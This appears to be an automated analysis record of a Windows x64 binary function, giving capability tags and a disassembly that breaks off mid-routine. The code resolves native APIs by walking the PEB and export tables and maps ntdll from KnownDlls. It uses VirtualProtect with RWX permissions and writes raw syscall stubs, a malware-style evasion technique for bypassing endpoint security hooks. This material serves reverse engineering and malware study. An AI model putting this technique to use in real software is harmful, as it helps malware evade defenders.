Function at 0x140045d70
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check for peb beingdebugged flag
Execute shellcode via indirect call
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x470]
sub rsp, 0x570
mov rax, qword [0x14006c010]
xor rax, rsp
mov qword [rbp + 0x460], rax
xor r15d, r15d
mov dword [rbp + 0x10], 0xb8
xor eax, eax
mov dword [rbp - 0x24], r15d
lea rdi, [rbp + 0x20]
mov dword [rbp - 0x20], r15d
mov ecx, 0x14
mov dword [rbp + 0x14], 0xd18b4c00
rep stosb byte [rdi], al
lea rdi, [rbp + 0x40]
mov word [rbp + 0x18], 0x50f
mov ecx, 0x104
mov byte [rbp + 0x1a], 0xc3
rep stosb byte [rdi], al
lea rax, [rbp + 0x40]
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x60], r15
mov qword [rbp - 0x18], r15
mov dword [rsp + 0x7c], r15d
mov dword [rbp - 0x6c], r15d
cmp word [rbp + 0x40], r15w
je 0x140045e0a
add rax, 2
cmp word [rax], r15w
jne 0x140045e00
mov r13d, 0x5c
lea rdx, str.KnownDlls_
movzx ecx, r13w
sub rdx, rax
nop
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140045e20
mov word [rax], r15w
lea rax, [rbp + 0x40]
cmp word [rbp + 0x40], r15w
je 0x140045e4a
nop
add rax, 2
cmp word [rax], r15w
jne 0x140045e40
lea rdx, [0x14005feb0]
mov ecx, 0x6e
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140045e60
mov word [rax], r15w
mov ecx, r15d
lea rax, [rbp + 0x40]
cmp word [rbp + 0x40], r15w
je 0x140045e8e
inc ecx
lea rax, [rax + 2]
cmp word [rax], r15w
jne 0x140045e82
add cx, cx
mov dword [rsp + 0x78], 0x30
mov word [rbp - 0x10], cx
lea rax, [rbp + 0x40]
mov qword [rbp - 8], rax
add cx, 2
mov word [rbp - 0xe], cx
lea rax, [rbp - 0x10]
movaps xmm0, xmmword [rbp - 0x10]
mov r14, r15
movdqa xmmword [rbp - 0x10], xmm0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x80], r15
mov dword [rbp - 0x70], 0x40
mov qword [rbp - 0x78], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x5a0], rbx
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x140045f1d
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x140045f0f
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x140045f19
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140045ef5
jmp 0x140045f1d
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
lea rsi, str.ZwOpenSection
mov eax, 0x5a4d
test r9, r9
je 0x140045fc6
cmp word [r9], ax
jne 0x140045fc6
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x140045fc6
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x140045fc6
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x140045fc6
nop word [rax + rax]
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, r9
je 0x140045fba
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x140045fb0
sub rcx, rsi
test al, al
je 0x140045fab
cmp byte [rdx], r15b
je 0x140045fb0
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x140045f94
jmp 0x140045fb0
cmp byte [rdx], r15b
je 0x140046009
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x140046009
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x140045f80
mov r12, r15
mov rax, qword gs:[0x60]
mov r14, r15
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004601e
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x140045fff
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004601a
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140045fe5
jmp 0x14004601e
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r9
jmp 0x140045fc9
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
lea rsi, str.ZwMapViewOfSection
test r9, r9
je 0x1400460d7
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x1400460d7
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x1400460d7
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x1400460d7
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x1400460d7
nop
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, r9
je 0x1400460ba
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x1400460b0
sub rcx, rsi
test al, al
je 0x1400460ab
cmp byte [rdx], r15b
je 0x1400460b0
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x140046094
jmp 0x1400460b0
cmp byte [rdx], r15b
je 0x1400460c8
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x1400460c8
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x140046080
jmp 0x1400460d7
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r15d, dword [rbx + rcx*4]
add r15, r9
xor eax, eax
mov r14d, eax
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004611d
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004610f
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x140046119
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400460f5
jmp 0x14004611d
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
lea r14, str.NtClose
test r9, r9
je 0x140046253
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x140046253
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x140046253
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x140046253
mov edi, dword [rax + 0x20]
xor esi, esi
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
mov r8d, esi
test r10d, r10d
je 0x140046253
nop dword [rax + rax]
mov ecx, dword [rdi]
mov rdx, r14
add rcx, r9
je 0x1400461ca
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x1400461c0
sub rcx, r14
test al, al
je 0x1400461bb
cmp byte [rdx], sil
je 0x1400461c0
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x1400461a4
jmp 0x1400461c0
cmp byte [rdx], sil
je 0x1400461d8
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x1400461d8
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x140046190
jmp 0x140046253
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x140046253
test r15, r15
je 0x140046253
test r12, r12
je 0x140046253
lea r8, [rsp + 0x78]
mov edx, 4
lea rcx, [rsp + 0x60]
call r12
test eax, eax
js 0x140046253
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x48], 2
lea r8, [rsp + 0x70]
mov dword [rsp + 0x40], esi
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
lea rdx, [r9 - 1]
mov qword [rsp + 0x20], rsi
call r15
test eax, eax
js 0x140046253
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140046253
call rdi
mov rax, qword gs:[0x60]
xor r15d, r15d
mov r14d, r15d
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004629a
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004628c
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x140046296
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140046272
jmp 0x14004629a
lea r14, [rdi - 0x10]
mov rsi, qword [rsp + 0x70]
lea r12, str.ZwUnmapViewOfSection
test rsi, rsi
je 0x140046445
mov r14, qword [r14 + 0x30]
test r14, r14
je 0x140046445
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x14004635f
mov eax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14004635f
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14004635f
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r10d, dword [rax + 0x24]
add rdi, rsi
mov r11d, dword [rax + 0x1c]
add r10, rsi
mov r9d, dword [rax + 0x14]
add r11, rsi
test r9d, r9d
je 0x14004635f
lea rbx, str.NtQueryInformationProcess
nop dword [rax]
mov eax, dword [rdi]
mov rcx, rbx
add rax, rsi
je 0x140046353
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x140046345
sub rax, rbx
test dl, dl
je 0x14004633c
cmp byte [rcx], r15b
je 0x140046345
movzx edx, byte [rax + rcx + 1]
inc rcx
cmp dl, byte [rcx]
je 0x140046325
jmp 0x140046345
cmp byte [rcx], r15b
je 0x1400463db
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x1400463db
inc r8d
add rdi, 4
cmp r8d, r9d
jb 0x140046310
mov r9, r15
mov ecx, 0x5a4d
cmp word [r14], cx
jne 0x14004640a
mov eax, dword [r14 + 0x3c]
cmp dword [rax + r14], 0x4550
jne 0x14004640a
mov eax, dword [rax + r14 + 0x88]
add rax, r14
je 0x14004640a
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r14
mov ebx, dword [rax + 0x1c]
add r11, r14
mov r10d, dword [rax + 0x14]
add rbx, r14
test r10d, r10d
je 0x14004640a
nop
mov ecx, dword [rdi]
mov rdx, r12
add rcx, r14
je 0x1400463fe
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x1400463f4
sub rcx, r12
test al, al
je 0x1400463ef
cmp byte [rdx], r15b
je 0x1400463f4
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x1400463c4
jmp 0x1400463f4
movsxd rax, r8d
movzx ecx, word [r10 + rax*2]
mov r9d, dword [r11 + rcx*4]
add r9, rsi
jmp 0x140046362
cmp byte [rdx], r15b
je 0x140046428
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x140046428
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x1400463b0
mov rax, r15
mov rdx, rsi
mov rcx, 0xffffffffffffffff
test r9, r9
jne 0x140046438
call rax
movzx edi, r15w
mov dword [rsp + 0x50], edi
jmp 0x14004644d
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, r14
jmp 0x14004640d
movzx edi, word [r9 + 4]
mov dword [rsp + 0x50], edi
call rax
jmp 0x14004644d
mov edi, r15d
mov dword [rsp + 0x50], r15d
xor eax, eax
mov word [rbp - 0x28], di
lea rdi, [rbp + 0x250]
mov qword [rbp - 0x18], r15
mov ecx, 0x104
mov qword [rsp + 0x70], r15
rep stosb byte [rdi], al
lea rax, [rbp + 0x250]
mov qword [rbp - 0x10], r15
mov dword [rbp - 0x54], r15d
mov dword [rbp - 0x3c], r15d
cmp word [rbp + 0x250], r15w
je 0x14004649a
nop word [rax + rax]
add rax, 2
cmp word [rax], r15w
jne 0x140046490
lea rcx, str.KnownDlls_
sub rcx, rax
nop dword [rax]
nop dword [rax + rax]
mov word [rax], r13w
lea rax, [rax + 2]
movzx r13d, word [rcx + rax]
test r13w, r13w
jne 0x1400464b0
xor r13d, r13d
mov word [rax], r13w
lea rax, [rbp + 0x250]
cmp word [rbp + 0x250], r13w
je 0x1400464ea
nop dword [rax + rax]
add rax, 2
cmp word [rax], r13w
jne 0x1400464e0
lea rcx, [0x14005feb0]
mov edx, 0x6e
sub rcx, rax
nop dword [rax]
mov word [rax], dx
lea rax, [rax + 2]
movzx edx, word [rcx + rax]
test dx, dx
jne 0x140046500
mov word [rax], r13w
mov ecx, r13d
lea rax, [rbp + 0x250]
cmp word [rbp + 0x250], r13w
je 0x14004653c
nop dword [rax + rax]
inc ecx
lea rax, [rax + 2]
cmp word [rax], r13w
jne 0x140046530
add cx, cx
mov dword [rbp - 0x58], 0x30
mov qword [rbp - 0x50], r13
lea rax, [rbp + 0x250]
mov qword [rsp + 0x68], rax
mov r14, r13
mov dword [rbp - 0x40], 0x40
lea rax, [rbp]
mov qword [rbp - 0x48], rax
mov word [rsp + 0x60], cx
add cx, 2
mov word [rsp + 0x62], cx
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rbp], xmm0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x38], xmm0
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400465c9
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400465bb
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x1400465c5
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400465a1
jmp 0x1400465c9
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
mov r15d, 0x5a4d
test r9, r9
je 0x140046676
cmp word [r9], r15w
jne 0x140046676
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x140046676
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x140046676
mov edi, dword [rax + 0x20]
mov r8d, r13d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x140046676
lea rsi, str.ZwOpenSection
nop dword [rax + rax]
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, r9
je 0x14004666a
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x140046660
sub rcx, rsi
test al, al
je 0x14004665b
cmp byte [rdx], r13b
je 0x140046660
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x140046644
jmp 0x140046660
cmp byte [rdx], r13b
je 0x1400466b9
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x1400466b9
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x140046630
mov r12, r13
mov rax, qword gs:[0x60]
mov r14, r13
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400466ce
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400466af
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x1400466ca
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140046695
jmp 0x1400466ce
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r9
jmp 0x140046679
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x140046772
cmp word [r9], r15w
jne 0x140046772
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x140046772
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x140046772
mov edi, dword [rax + 0x20]
mov r8d, r13d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x140046772
lea rsi, str.ZwMapViewOfSection
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, r9
je 0x140046766
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x14004675c
sub rcx, rsi
nop word [rax + rax]
test al, al
je 0x140046757
cmp byte [rdx], r13b
je 0x14004675c
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x140046740
jmp 0x14004675c
cmp byte [rdx], r13b
je 0x1400467b5
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x1400467b5
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x140046726
mov r15, r13
mov rax, qword gs:[0x60]
mov r14, r13
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400467ca
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400467ab
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x1400467c6
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140046791
jmp 0x1400467ca
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r15d, dword [rbx + rcx*4]
add r15, r9
jmp 0x140046775
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x1400468f5
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x1400468f5
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x1400468f5
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x1400468f5
mov edi, dword [rax + 0x20]
mov r8d, r13d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x1400468f5
lea rsi, str.NtClose
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, r9
je 0x14004686d
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x140046863
sub rcx, rsi
test al, al
je 0x14004685e
cmp byte [rdx], r13b
je 0x140046863
movzx eax, byte [rdx + rcx + 1]
inc rdx
cmp al, byte [rdx]
je 0x140046847
jmp 0x140046863
cmp byte [rdx], r13b
je 0x14004687b
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14004687b
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x140046833
jmp 0x1400468f5
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x1400468f5
test r15, r15
je 0x1400468f5
test r12, r12
je 0x1400468f5
lea r8, [rbp - 0x58]
mov edx, 4
lea rcx, [rsp + 0x70]
call r12
test eax, eax
js 0x1400468f5
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x10]
mov dword [rsp + 0x48], 2
lea r8, [rbp - 0x18]
mov dword [rsp + 0x40], r13d
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
lea rdx, [r9 - 1]
mov qword [rsp + 0x20], r13
call r15
test eax, eax
js 0x1400468f5
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x1400468f5
call rdi
mov rax, qword gs:[0x60]
mov r14, r13
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x140046939
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004692b
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x140046935
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140046911
jmp 0x140046939
lea r14, [rdi - 0x10]
mov r10, qword [rbp - 0x18]
test r10, r10
je 0x140046adf
mov rbx, qword [r14 + 0x30]
test rbx, rbx
je 0x140046adf
mov r15d, 0x5a4d
cmp word [r10], r15w
jne 0x1400469ff
mov eax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x1400469ff
mov eax, dword [rax + r10 + 0x88]
add rax, r10
je 0x1400469ff
mov edi, dword [rax + 0x20]
mov r8d, r13d
mov r11d, dword [rax + 0x24]
add rdi, r10
mov esi, dword [rax + 0x1c]
add r11, r10
mov r9d, dword [rax + 0x14]
add rsi, r10
test r9d, r9d
je 0x1400469ff
lea r14, str.NtSetInformationProcess
nop dword [rax + rax]
mov eax, dword [rdi]
mov rcx, r14
add rax, r10
je 0x1400469f3
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x1400469e5
sub rax, r14
test dl, dl
je 0x1400469dc
cmp byte [rcx], r13b
je 0x1400469e5
movzx edx, byte [rcx + rax + 1]
inc rcx
cmp dl, byte [rcx]
je 0x1400469c5
jmp 0x1400469e5
cmp byte [rcx], r13b
je 0x140046a7d
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x140046a7d
inc r8d
add rdi, 4
cmp r8d, r9d
jb 0x1400469b0
mov r9, r13
cmp word [rbx], r15w
jne 0x140046aac
mov eax, dword [rbx + 0x3c]
cmp dword [rax + rbx], 0x4550
jne 0x140046aac
mov eax, dword [rax + rbx + 0x88]
add rax, rbx
je 0x140046aac
mov edi, dword [rax + 0x20]
mov r8d, r13d
mov esi, dword [rax + 0x24]
add rdi, rbx
mov r14d, dword [rax + 0x1c]
add rsi, rbx
mov r11d, dword [rax + 0x14]
add r14, rbx
test r11d, r11d
je 0x140046aac
lea r15, str.ZwUnmapViewOfSection
mov ecx, dword [rdi]
mov rdx, r15
add rcx, rbx
je 0x140046aa0
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x140046a96
sub rcx, r15
test al, al
je 0x140046a91
cmp byte [rdx], r13b
je 0x140046a96
movzx eax, byte [rdx + rcx + 1]
inc rdx
cmp al, byte [rdx]
je 0x140046a66
jmp 0x140046a96
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r9d, dword [rsi + rcx*4]
add r9, r10
jmp 0x140046a02
cmp byte [rdx], r13b
je 0x140046ac6
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x140046ac6
inc r8d
add rdi, 4
cmp r8d, r11d
jb 0x140046a52
mov rax, r13
mov rdx, r10
mov rcx, 0xffffffffffffffff
test r9, r9
jne 0x140046ad6
call rax
movzx r15d, r13w
jmp 0x140046ae2
movsxd rax, r8d
movzx ecx, word [rsi + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, rbx
jmp 0x140046aaf
movzx r15d, word [r9 + 4]
call rax
jmp 0x140046ae2
mov r15d, r13d
mov r12d, dword [rsp + 0x50]
mov word [rsp + 0x60], r15w
test r12w, r12w
je 0x140046af9
test r15w, r15w
jne 0x140046b68
mov al, byte [0x7ffe026c]
cmp al, 0xa
je 0x140046b4c
cmp al, 6
jne 0x140046b36
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x140046b36
sub ecx, 1
je 0x140046b29
cmp ecx, 1
jne 0x140046b4c
lea r12d, [rcx + 0x17]
lea r15d, [rcx + 0x1a]
jmp 0x140046b58
mov r12d, 0x17
lea r15d, [r12 + 3]
jmp 0x140046b58
mov eax, 0x19
mov r12d, 0x16
movzx r15d, ax
mov word [rsp + 0x60], ax
jmp 0x140046b5e
mov r12d, 0x19
mov r15d, 0x1c
mov word [rsp + 0x60], r15w
mov word [rbp - 0x28], r12w
mov dword [rsp + 0x50], r12d
mov rax, qword gs:[0x60]
mov r14, r13
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x140046bac
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x140046b9e
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x140046ba8
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140046b84
jmp 0x140046bac
lea r14, [rdi - 0x10]
mov rsi, qword [r14 + 0x30]
test rsi, rsi
je 0x140046c5f
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x140046c5f
mov eax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140046c5f
mov edi, dword [rax + rsi + 0x88]
add rdi, rsi
je 0x140046c5f
mov ebx, dword [rdi + 0x24]
mov r14d, dword [rdi + 0x1c]
add rbx, rsi
add r14, rsi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r9d, dword [rdi + 0x14]
mov r8d, eax
mov eax, 0x88888889
mul r8d
shr edx, 4
imul ecx, edx, 0x1e
mov edx, r13d
sub r8d, ecx
mov ecx, r13d
test r9d, r9d
je 0x140046c5f
nop dword [rax]
movzx eax, word [rbx]
mov edi, dword [r14 + rax*4]
add rdi, rsi
cmp byte [rdi], 0x4c
jne 0x140046c54
cmp byte [rdi + 1], 0x8b
jne 0x140046c54
cmp byte [rdi + 2], 0xd1
jne 0x140046c54
cmp byte [rdi + 3], 0xb8
jne 0x140046c54
cmp byte [rdi + 0x12], 0xf
jne 0x140046c54
cmp byte [rdi + 0x13], 5
jne 0x140046c54
inc edx
cmp edx, r8d
je 0x140046c95
inc ecx
add rbx, 2
cmp ecx, r9d
jb 0x140046c20
xor al, al
mov rbx, qword [rsp + 0x5a0]
mov rcx, qword [rbp + 0x460]
xor rcx, rsp
call fcn.1400559f0
lea r11, [rsp + 0x570]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
test rdi, rdi
je 0x140046c5f
lea r9, [rbp - 0x20]
mov edx, 0x1024
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, [rbp + 0x11]
lea rax, [rbp - 0x28]
cmp rcx, rax
jbe 0x140046cd0
lea rcx, [rbp + 0x11]
lea rax, [rbp - 0x26]
nop word [rax + rax]
movzx ebx, byte [rbp - 0x27]
lea rax, [rbp + 0x20]
mov byte [rbp + 0x12], bl
mov byte [rbp + 0x11], r12b
cmp rax, rdi
jbe 0x140046d20
lea rax, [rdi + 0x14]
lea rcx, [rbp + 0x20]
cmp rcx, rax
jae 0x140046d20
mov ecx, 0x14
nop word [rax + rax]
movzx eax, byte [rdi + rcx - 1]
mov byte [rbp + rcx + 0x1f], al
sub rcx, 1
jne 0x140046d00
lea r13, [rdi + 0xa]
jmp 0x140046db0
movzx eax, byte [rdi]
lea r13, [rdi + 0xa]
mov byte [rbp + 0x20], al
movzx eax, byte [rdi + 1]
mov byte [rbp + 0x21], al
movzx eax, byte [rdi + 2]
mov byte [rbp + 0x22], al
movzx eax, byte [rdi + 3]
mov byte [rbp + 0x23], al
movzx eax, byte [rdi + 4]
mov byte [rbp + 0x24], al
movzx eax, byte [rdi + 5]
mov byte [rbp + 0x25], al
movzx eax, byte [rdi + 6]
mov byte [rbp + 0x26], al
movzx eax, byte [rdi + 7]
mov byte [rbp + 0x27], al
movzx eax, byte [rdi + 8]
mov byte [rbp + 0x28], al
movzx eax, byte [rdi + 9]
mov byte [rbp + 0x29], al
movzx eax, byte [r13]
mov byte [rbp + 0x2a], al
movzx eax, byte [rdi + 0xb]
mov byte [rbp + 0x2b], al
movzx eax, byte [rdi + 0xc]
mov byte [rbp + 0x2c], al
movzx eax, byte [rdi + 0xd]
mov byte [rbp + 0x2d], al
movzx eax, byte [rdi + 0xe]
mov byte [rbp + 0x2e], al
movzx eax, byte [rdi + 0xf]
mov byte [rbp + 0x2f], al
movzx eax, byte [rdi + 0x10]
mov byte [rbp + 0x30], al
movzx eax, byte [rdi + 0x11]
mov byte [rbp + 0x31], al
movzx eax, byte [rdi + 0x12]
mov byte [rbp + 0x32], al
movzx eax, byte [rdi + 0x13]
mov byte [rbp + 0x33], al
lea rax, [rbp + 0x10]
cmp rdi, rax
jbe 0x140046de3
lea rax, [rbp + 0x1b]
cmp rdi, rax
jae 0x140046de3
mov rcx, r13
mov rdx, r13
sub rcx, rdi
inc rcx
nop
movzx eax, byte [rbp + rcx + 0xf]
mov byte [rdx], al
lea rdx, [rdx - 1]
sub rcx, 1
jne 0x140046dd0
jmp 0x140046dfb
mov byte [rdi], 0xb8
mov byte [rdi + 1], r12b
mov byte [rdi + 2], bl
mov dword [rdi + 3], 0x8b4c0000
mov dword [rdi + 7], 0xc3050fd1
xor eax, eax
lea r8, [rbp - 0x24]
mov qword [rsp + 0x20], rax
lea r9d, [rax + 4]
lea edx, [rax + 0x1f]
lea rcx, [rax - 1]
call rdi
test eax, eax
js 0x140046e21
cmp dword [rbp - 0x24], 0
je 0x140047276
mov r14d, 0xb
lea r12, [rbp + 0x10]
mov r11d, r14d
sub r12, rdi
mov r8, rdi
nop dword [rax]
nop dword [rax + rax]
movzx r9d, byte [r8]
movzx r10d, byte [r8 + r12]
lea eax, [r9 - 0x61]
cmp eax, 0x19
lea edx, [r9 - 0x20]
lea eax, [r10 - 0x61]
cmova edx, r9d
lea ecx, [r10 - 0x20]
cmp eax, 0x19
cmova ecx, r10d
cmp edx, ecx
jne 0x140046e76
inc r8
sub r11, 1
jne 0x140046e40
jmp 0x140046e7f
cmp r9d, r10d
jne 0x140047276
lea rcx, [rbp + 0x11]
lea rax, [rsp + 0x60]
cmp rcx, rax
jbe 0x140046ea0
lea rcx, [rbp + 0x11]
lea rax, [rsp + 0x62]
nop word [rax + rax]
